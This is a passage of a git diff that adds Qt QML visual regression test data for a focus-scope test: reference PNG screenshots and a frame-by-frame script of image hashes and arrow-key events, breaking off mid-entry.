diff --git a/tests/auto/declarative/qmlvisual/focusscope/data/test3.0.png b/tests/auto/declarative/qmlvisual/focusscope/data/test3.0.png
new file mode 100644
index 00000000..c0925352
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/focusscope/data/test3.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/focusscope/data/test3.1.png b/tests/auto/declarative/qmlvisual/focusscope/data/test3.1.png
new file mode 100644
index 00000000..861b4592
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/focusscope/data/test3.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/focusscope/data/test3.2.png b/tests/auto/declarative/qmlvisual/focusscope/data/test3.2.png
new file mode 100644
index 00000000..2ede7c90
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/focusscope/data/test3.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/focusscope/data/test3.3.png b/tests/auto/declarative/qmlvisual/focusscope/data/test3.3.png
new file mode 100644
index 00000000..055f1846
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/focusscope/data/test3.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/focusscope/data/test3.4.png b/tests/auto/declarative/qmlvisual/focusscope/data/test3.4.png
new file mode 100644
index 00000000..c0925352
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/focusscope/data/test3.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/focusscope/data/test3.qml b/tests/auto/declarative/qmlvisual/focusscope/data/test3.qml
new file mode 100644
index 00000000..8ed9c7dd
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/focusscope/data/test3.qml
@@ -0,0 +1,1327 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "test3.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 48
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 64
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 80
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 96
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 112
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 128
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 144
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 160
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 176
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 192
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 208
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 224
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 240
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 256
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 272
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 288
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 304
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 320
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 336
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 352
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 368
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 384
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 400
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 416
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 432
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 448
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 464
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 480
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 496
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 512
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 528
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 544
+ hash: "e24319b7e562a668e86ac17f4914bcb7"
+ }
+ Frame {
+ msec: 560
+ hash: "742f87f00d2d7e64b4a579823fa99df2"
+ }
+ Frame {
+ msec: 576
+ hash: "db6793df1b6d00f4b6286253173ee2b5"
+ }
+ Frame {
+ msec: 592
+ hash: "3da67f52ad1bc0ee55f8d6637286f420"
+ }
+ Frame {
+ msec: 608
+ hash: "89e8c8fd913cb229f5adc221090d789c"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 624
+ hash: "d47cc2fe207628f4deddd58c3697171a"
+ }
+ Frame {
+ msec: 640
+ hash: "9ab1f939324602533b14b20d6160ae57"
+ }
+ Frame {
+ msec: 656
+ hash: "798b200076ec6688cda78fd273a9fde1"
+ }
+ Frame {
+ msec: 672
+ hash: "5c485ac62f637db9e3aa327dd1bee801"
+ }
+ Frame {
+ msec: 688
+ hash: "5c485ac62f637db9e3aa327dd1bee801"
+ }
+ Frame {
+ msec: 704
+ hash: "5c485ac62f637db9e3aa327dd1bee801"
+ }
+ Frame {
+ msec: 720
+ hash: "5c485ac62f637db9e3aa327dd1bee801"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 736
+ hash: "75bbe5082eebec814c726adc8fc076ec"
+ }
+ Frame {
+ msec: 752
+ hash: "58d8051766872d54831bec4c8c7cbd63"
+ }
+ Frame {
+ msec: 768
+ hash: "f474b747b4b7bb2a5b2c418f35aa1b09"
+ }
+ Frame {
+ msec: 784
+ hash: "d561cf0dbded0b2bd85c7c88fb3afdd6"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 800
+ hash: "49c0616c4d5cedeb9fdb12fb7d7f504d"
+ }
+ Frame {
+ msec: 816
+ hash: "9e5c66cfc3af51b7a10f6a969452dafe"
+ }
+ Frame {
+ msec: 832
+ hash: "72d765f52ce8ab3748cd43d859285ca7"
+ }
+ Frame {
+ msec: 848
+ hash: "732987bbdc421c4650d7503387acd4de"
+ }
+ Frame {
+ msec: 864
+ hash: "439456ecedad4674b6ecef415e53334b"
+ }
+ Frame {
+ msec: 880
+ hash: "439456ecedad4674b6ecef415e53334b"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 896
+ hash: "5f2d5dc55b551713c4219bc55124f7db"
+ }
+ Frame {
+ msec: 912
+ hash: "54e2150829c6201b3ba8eb61f4142de7"
+ }
+ Frame {
+ msec: 928
+ hash: "f916ac803817b7cd7e29c05ac23449fc"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 944
+ hash: "590b45a3fb1571428c8da48f026fab3b"
+ }
+ Frame {
+ msec: 960
+ hash: "b5a811e6d1b956af67c6df4c9eabd0a3"
+ }
+ Frame {
+ msec: 976
+ image: "test3.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "877ca6b70b6535f868d3a450045f70a0"
+ }
+ Frame {
+ msec: 1008
+ hash: "559a5c06ed2d1030d21f56aaaded8869"
+ }
+ Frame {
+ msec: 1024
+ hash: "559a5c06ed2d1030d21f56aaaded8869"
+ }
+ Frame {
+ msec: 1040
+ hash: "559a5c06ed2d1030d21f56aaaded8869"
+ }
+ Frame {
+ msec: 1056
+ hash: "559a5c06ed2d1030d21f56aaaded8869"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1072
+ hash: "f6d3d4fd5d9d1be96646891cbf0740e5"
+ }
+ Frame {
+ msec: 1088
+ hash: "2ba5d4da68051a96fed2b54804854a8e"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1104
+ hash: "2b1b72dfac63903377b427ef4149dfd7"
+ }
+ Frame {
+ msec: 1120
+ hash: "7ada77586dd0583a66c801b6faf78e2a"
+ }
+ Frame {
+ msec: 1136
+ hash: "a5c527fa2095e2d8949d36351994624a"
+ }
+ Frame {
+ msec: 1152
+ hash: "f89bf3f20d3f7284ba52338c1cfb91e1"
+ }
+ Frame {
+ msec: 1168
+ hash: "e7de3174a111f26f4d92a273e2c43b61"
+ }
+ Frame {
+ msec: 1184
+ hash: "d9ef1156a1f7bfe86f97717a600b31c9"
+ }
+ Frame {
+ msec: 1200
+ hash: "0b216b28513d00939531e409aac328e8"
+ }
+ Frame {
+ msec: 1216
+ hash: "0b216b28513d00939531e409aac328e8"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1232
+ hash: "d92131f183e9d926a2718559f58f17cb"
+ }
+ Frame {
+ msec: 1248
+ hash: "9e5985271ddec748803ea3c72d40ad97"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1264
+ hash: "2462ddfcf93f96ad6a3164c7f21e2948"
+ }
+ Frame {
+ msec: 1280
+ hash: "4ce27e3e77d9c80982c5197c2a440dc4"
+ }
+ Frame {
+ msec: 1296
+ hash: "e4afa6dc35ddd52876af514ec151900e"
+ }
+ Frame {
+ msec: 1312
+ hash: "3e542da8a83e53c66fd96d2c003a8b67"
+ }
+ Frame {
+ msec: 1328
+ hash: "6b0afb12551ada7501346125ac29071c"
+ }
+ Frame {
+ msec: 1344
+ hash: "202d4ca464f73e28a286ebed05e86d9d"
+ }
+ Frame {
+ msec: 1360
+ hash: "202d4ca464f73e28a286ebed05e86d9d"
+ }
+ Frame {
+ msec: 1376
+ hash: "202d4ca464f73e28a286ebed05e86d9d"
+ }
+ Frame {
+ msec: 1392
+ hash: "202d4ca464f73e28a286ebed05e86d9d"
+ }
+ Frame {
+ msec: 1408
+ hash: "202d4ca464f73e28a286ebed05e86d9d"
+ }
+ Frame {
+ msec: 1424
+ hash: "202d4ca464f73e28a286ebed05e86d9d"
+ }
+ Frame {
+ msec: 1440
+ hash: "202d4ca464f73e28a286ebed05e86d9d"
+ }
+ Frame {
+ msec: 1456
+ hash: "202d4ca464f73e28a286ebed05e86d9d"
+ }
+ Frame {
+ msec: 1472
+ hash: "202d4ca464f73e28a286ebed05e86d9d"
+ }
+ Frame {
+ msec: 1488
+ hash: "202d4ca464f73e28a286ebed05e86d9d"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1504
+ hash: "ca6c00b583f88efb6efe285a0903392b"
+ }
+ Frame {
+ msec: 1520
+ hash: "2a2fcb90a6a7ae6d3d08f49c7a7177c0"
+ }
+ Frame {
+ msec: 1536
+ hash: "3a7cd960ff367793e09d73302e57b6e4"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1552
+ hash: "581121ab5334a6122bf9ca4489c9b971"
+ }
+ Frame {
+ msec: 1568
+ hash: "8690456fa25a12ef28f014b86cc94c81"
+ }
+ Frame {
+ msec: 1584
+ hash: "27a395e2e25eedba8f361a20f917590b"
+ }
+ Frame {
+ msec: 1600
+ hash: "5eae6bbdd6acd7f21eccf277f21f4893"
+ }
+ Frame {
+ msec: 1616
+ hash: "f5ebab53b77dcea32e821c8e551077e4"
+ }
+ Frame {
+ msec: 1632
+ hash: "738278d39b73bfa15fc8b19b5720bbd7"
+ }
+ Frame {
+ msec: 1648
+ hash: "738278d39b73bfa15fc8b19b5720bbd7"
+ }
+ Frame {
+ msec: 1664
+ hash: "738278d39b73bfa15fc8b19b5720bbd7"
+ }
+ Frame {
+ msec: 1680
+ hash: "738278d39b73bfa15fc8b19b5720bbd7"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1696
+ hash: "7c83c13e1d9e6456023ba7e2a1f3875c"
+ }
+ Frame {
+ msec: 1712
+ hash: "f12f6c5111de654e90d462a4d44f12ec"
+ }
+ Frame {
+ msec: 1728
+ hash: "dcb7712d8320bf4096a3af794facad4d"
+ }
+ Frame {
+ msec: 1744
+ hash: "84f7c046592d31f403b56ee1fd6fcbc4"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1760
+ hash: "1b05381e85ec8bbf69edacbedce01fb8"
+ }
+ Frame {
+ msec: 1776
+ hash: "b2c148675ffe1ef5110602f7a4feab74"
+ }
+ Frame {
+ msec: 1792
+ hash: "d082931d05d2b2dc24ccfa5d7a703291"
+ }
+ Frame {
+ msec: 1808
+ hash: "99783e2541d03a7ce9ee4e69a2b21993"
+ }
+ Frame {
+ msec: 1824
+ hash: "503ff7e940ac59006c1486e3d2027d35"
+ }
+ Frame {
+ msec: 1840
+ hash: "503ff7e940ac59006c1486e3d2027d35"
+ }
+ Frame {
+ msec: 1856
+ hash: "503ff7e940ac59006c1486e3d2027d35"
+ }
+ Frame {
+ msec: 1872
+ hash: "503ff7e940ac59006c1486e3d2027d35"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1888
+ hash: "06fbf3d840cbf170c94377d767d1d49f"
+ }
+ Frame {
+ msec: 1904
+ hash: "34f538738046a1d6932ef1a6f59eb6be"
+ }
+ Frame {
+ msec: 1920
+ hash: "2553f91e5ea5a4da70eb3825a0cdfa10"
+ }
+ Frame {
+ msec: 1936
+ image: "test3.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "115f1c37d6492bbc4848cc4be6ddd2b0"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1968
+ hash: "40d5255e7e5ca12b90f5cbede1e9b2cd"
+ }
+ Frame {
+ msec: 1984
+ hash: "3a6f6b4cee75f8b1b0b2b5674c3df0a8"
+ }
+ Frame {
+ msec: 2000
+ hash: "2c24eab593d56a7554f9ba925f858d5b"
+ }
+ Frame {
+ msec: 2016
+ hash: "bb10ef1703674147351968121ebe0154"
+ }
+ Frame {
+ msec: 2032
+ hash: "bb10ef1703674147351968121ebe0154"
+ }
+ Frame {
+ msec: 2048
+ hash: "bb10ef1703674147351968121ebe0154"
+ }
+ Frame {
+ msec: 2064
+ hash: "bb10ef1703674147351968121ebe0154"
+ }
+ Frame {
+ msec: 2080
+ hash: "bb10ef1703674147351968121ebe0154"
+ }
+ Frame {
+ msec: 2096
+ hash: "bb10ef1703674147351968121ebe0154"
+ }
+ Frame {
+ msec: 2112
+ hash: "bb10ef1703674147351968121ebe0154"
+ }
+ Frame {
+ msec: 2128
+ hash: "bb10ef1703674147351968121ebe0154"
+ }
+ Frame {
+ msec: 2144
+ hash: "bb10ef1703674147351968121ebe0154"
+ }
+ Frame {
+ msec: 2160
+ hash: "bb10ef1703674147351968121ebe0154"
+ }
+ Frame {
+ msec: 2176
+ hash: "bb10ef1703674147351968121ebe0154"
+ }
+ Frame {
+ msec: 2192
+ hash: "bb10ef1703674147351968121ebe0154"
+ }
+ Frame {
+ msec: 2208
+ hash: "bb10ef1703674147351968121ebe0154"
+ }
+ Frame {
+ msec: 2224
+ hash: "bb10ef1703674147351968121ebe0154"
+ }
+ Frame {
+ msec: 2240
+ hash: "bb10ef1703674147351968121ebe0154"
+ }
+ Frame {
+ msec: 2256
+ hash: "bb10ef1703674147351968121ebe0154"
+ }
+ Frame {
+ msec: 2272
+ hash: "bb10ef1703674147351968121ebe0154"
+ }
+ Frame {
+ msec: 2288
+ hash: "bb10ef1703674147351968121ebe0154"
+ }
+ Frame {
+ msec: 2304
+ hash: "bb10ef1703674147351968121ebe0154"
+ }
+ Frame {
+ msec: 2320
+ hash: "bb10ef1703674147351968121ebe0154"
+ }
+ Frame {
+ msec: 2336
+ hash: "bb10ef1703674147351968121ebe0154"
+ }
+ Frame {
+ msec: 2352
+ hash: "bb10ef1703674147351968121ebe0154"
+ }
+ Frame {
+ msec: 2368
+ hash: "bb10ef1703674147351968121ebe0154"
+ }
+ Frame {
+ msec: 2384
+ hash: "bb10ef1703674147351968121ebe0154"
+ }
+ Frame {
+ msec: 2400
+ hash: "bb10ef1703674147351968121ebe0154"
+ }
+ Frame {
+ msec: 2416
+ hash: "bb10ef1703674147351968121ebe0154"
+ }
+ Frame {
+ msec: 2432
+ hash: "bb10ef1703674147351968121ebe0154"
+ }
+ Frame {
+ msec: 2448
+ hash: "bb10ef1703674147351968121ebe0154"
+ }
+ Frame {
+ msec: 2464
+ hash: "bb10ef1703674147351968121ebe0154"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2480
+ hash: "1e61fbb8c054c6b8fdb895d236514bfa"
+ }
+ Frame {
+ msec: 2496
+ hash: "3a1b093963a0cb898a68f87a3c2056a9"
+ }
+ Frame {
+ msec: 2512
+ hash: "9fe3eb5cbc621401be9ab7bc7d28bb24"
+ }
+ Frame {
+ msec: 2528
+ hash: "1bb16e3d17506913e295d68e8d4ffa88"
+ }
+ Frame {
+ msec: 2544
+ hash: "19389ae4da2ad3bc7076632366db55c7"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2560
+ hash: "5f1731dd62f61ddafb7cfe66167b7408"
+ }
+ Frame {
+ msec: 2576
+ hash: "e37b8399f9ea92a91b0d98b01a4ef72b"
+ }
+ Frame {
+ msec: 2592
+ hash: "e1282e3afc46fa8828a138e4722707b5"
+ }
+ Frame {
+ msec: 2608
+ hash: "503ff7e940ac59006c1486e3d2027d35"
+ }
+ Frame {
+ msec: 2624
+ hash: "503ff7e940ac59006c1486e3d2027d35"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2640
+ hash: "925852b350354bb596d749fe31828147"
+ }
+ Frame {
+ msec: 2656
+ hash: "1e302775a002185b888b590cc6533b28"
+ }
+ Frame {
+ msec: 2672
+ hash: "b147169c3688148bda5b82afa1f5d2dc"
+ }
+ Frame {
+ msec: 2688
+ hash: "34964e45ff808595845f4a868be3782e"
+ }
+ Frame {
+ msec: 2704
+ hash: "b86ef7d97f20c3894dc5a551f41ab9c4"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2720
+ hash: "dc9981cb1833b34fc4fc9b833281348e"
+ }
+ Frame {
+ msec: 2736
+ hash: "b28644e06195849afd44143bd60aa27d"
+ }
+ Frame {
+ msec: 2752
+ hash: "738278d39b73bfa15fc8b19b5720bbd7"
+ }
+ Frame {
+ msec: 2768
+ hash: "738278d39b73bfa15fc8b19b5720bbd7"
+ }
+ Frame {
+ msec: 2784
+ hash: "738278d39b73bfa15fc8b19b5720bbd7"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2800
+ hash: "745230d107911d033ebeb58dc8a94445"
+ }
+ Frame {
+ msec: 2816
+ hash: "81cc4ac88a51518cf50cd6b46c3e0cb7"
+ }
+ Frame {
+ msec: 2832
+ hash: "10b7cff34298222ee305c9895bcdef21"
+ }
+ Frame {
+ msec: 2848
+ hash: "622a027091c1577a646ece0331016783"
+ }
+ Frame {
+ msec: 2864
+ hash: "ab527747f9918774c7a4cfb476cc31f4"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2880
+ hash: "1bf8a37b5aeb9df37f97083ce19a0c1a"
+ }
+ Frame {
+ msec: 2896
+ image: "test3.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "19a2f59bfe96a0a33ff45ab72cc2a2fc"
+ }
+ Frame {
+ msec: 2928
+ hash: "202d4ca464f73e28a286ebed05e86d9d"
+ }
+ Frame {
+ msec: 2944
+ hash: "202d4ca464f73e28a286ebed05e86d9d"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2960
+ hash: "6b172121f35f9667f40b0006d5875685"
+ }
+ Frame {
+ msec: 2976
+ hash: "6e65dfe717a69de65d58e059904bb00a"
+ }
+ Frame {
+ msec: 2992
+ hash: "e660212f2d7d477213ef8b8262e8f2b1"
+ }
+ Frame {
+ msec: 3008
+ hash: "df1e770a7177b7871cf734c47e1227ba"
+ }
+ Frame {
+ msec: 3024
+ hash: "9d103d49ea30b04f3e97ecad3c13a816"
+ }
+ Frame {
+ msec: 3040
+ hash: "4602aaf8b65c4ff5b9c8d4ba8d5b89d5"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3056
+ hash: "bf029f1cb5ddf0dc3931b47895a2141d"
+ }
+ Frame {
+ msec: 3072
+ hash: "0b216b28513d00939531e409aac328e8"
+ }
+ Frame {
+ msec: 3088
+ hash: "0b216b28513d00939531e409aac328e8"
+ }
+ Frame {
+ msec: 3104
+ hash: "0b216b28513d00939531e409aac328e8"
+ }
+ Frame {
+ msec: 3120
+ hash: "0b216b28513d00939531e409aac328e8"
+ }
+ Frame {
+ msec: 3136
+ hash: "0b216b28513d00939531e409aac328e8"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3152
+ hash: "807fe46158fdc72c45cd6c8024ce705d"
+ }
+ Frame {
+ msec: 3168
+ hash: "58dc1ca8e39488479acdb79762000ad5"
+ }
+ Frame {
+ msec: 3184
+ hash: "48dd97d986ee545f6727128b7a06529f"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3200
+ hash: "a7f0c00cb4bbbd65c02b3949c90564ad"
+ }
+ Frame {
+ msec: 3216
+ hash: "3f1c40e8d17b83ff3a251d9284bd4282"
+ }
+ Frame {
+ msec: 3232
+ hash: "d7527558128467c64cf0a07289158238"
+ }
+ Frame {
+ msec: 3248
+ hash: "3af9f7618d0c9ffedb942ae422d61dcb"
+ }
+ Frame {
+ msec: 3264
+ hash: "eb1703107106afc54d47d8600ea40f18"
+ }
+ Frame {
+ msec: 3280
+ hash: "559a5c06ed2d1030d21f56aaaded8869"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3296
+ hash: "c9a69d9ad499e6537ef047382dc01460"
+ }
+ Frame {
+ msec: 3312
+ hash: "594911681db91c825b93633b6aa3fe1f"
+ }
+ Frame {
+ msec: 3328
+ hash: "f566d5e728e9a45c7d339282c0c6709c"
+ }
+ Frame {
+ msec: 3344
+ hash: "49f1d0164a1ae3c361421635a2038697"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3360
+ hash: "a22b4ea9973c03042a3cfa5d23a79c86"
+ }
+ Frame {
+ msec: 3376
+ hash: "abab27079cd52caaaf421d1b4d8d8066"
+ }
+ Frame {
+ msec: 3392
+ hash: "e528a9ab6ae13518fa541d7f2c6e09a8"
+ }
+ Frame {
+ msec: 3408
+ hash: "439456ecedad4674b6ecef415e53334b"
+ }
+ Frame {
+ msec: 3424
+ hash: "439456ecedad4674b6ecef415e53334b"
+ }
+ Frame {
+ msec: 3440
+ hash: "439456ecedad4674b6ecef415e53334b"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3456
+ hash: "57543f91e958840efcad1948a19aa8e1"
+ }
+ Frame {
+ msec: 3472
+ hash: "534fc45fdace49ebf444e393b57c1315"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3488
+ hash: "0eee986f096e3ebddf61d3b0a18f2eff"
+ }
+ Frame {
+ msec: 3504
+ hash: "74f702ca61d97d31f79d8ce3be53eee7"
+ }
+ Frame {
+ msec: 3520
+ hash: "1f0b630548fe93f93550439b4945bdda"
+ }
+ Frame {
+ msec: 3536
+ hash: "1eb442ca5e7e1f476d8297c3bdb7bbd1"
+ }
+ Frame {
+ msec: 3552
+ hash: "1689cba06c74a6204d80cc651b1d2150"
+ }
+ Frame {
+ msec: 3568
+ hash: "8711b6647c4146dfa3e3c680fbd1bf08"
+ }
+ Frame {
+ msec: 3584
+ hash: "5c485ac62f637db9e3aa327dd1bee801"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3600
+ hash: "0ac2726d000ba2ef1097a49f37d5c209"
+ }
+ Frame {
+ msec: 3616
+ hash: "83d00571e499039b7f577e393eed881a"
+ }
+ Frame {
+ msec: 3632
+ hash: "46724d427a8f6d7737abcacd76701259"
+ }
+ Frame {
+ msec: 3648
+ hash: "a63554a4839e8874cbebe5204d43c6d5"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3664
+ hash: "5946c98c4204d454a41575242db5fd45"
+ }
+ Frame {
+ msec: 3680
+ hash: "a3d0107e71a6b454f8fdc7557eb9ce18"
+ }
+ Frame {
+ msec: 3696
+ hash: "86d9ad1831acc4a73075e6792efb7db4"
+ }
+ Frame {
+ msec: 3712
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 3728
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 3744
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 3760
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 3776
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 3792
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 3808
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 3824
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 3840
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 3856
+ image: "test3.4.png"
+ }
+ Frame {
+ msec: 3872
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 3888
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 3904
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 3920
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 3936
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 3952
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 3968
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 3984
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 4000
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 4016
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 4032
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 4048
+ hash: "cb3a3cca07a49fadf8bb00834ea24f73"
+ }
+ Frame {
+ msec: 4064
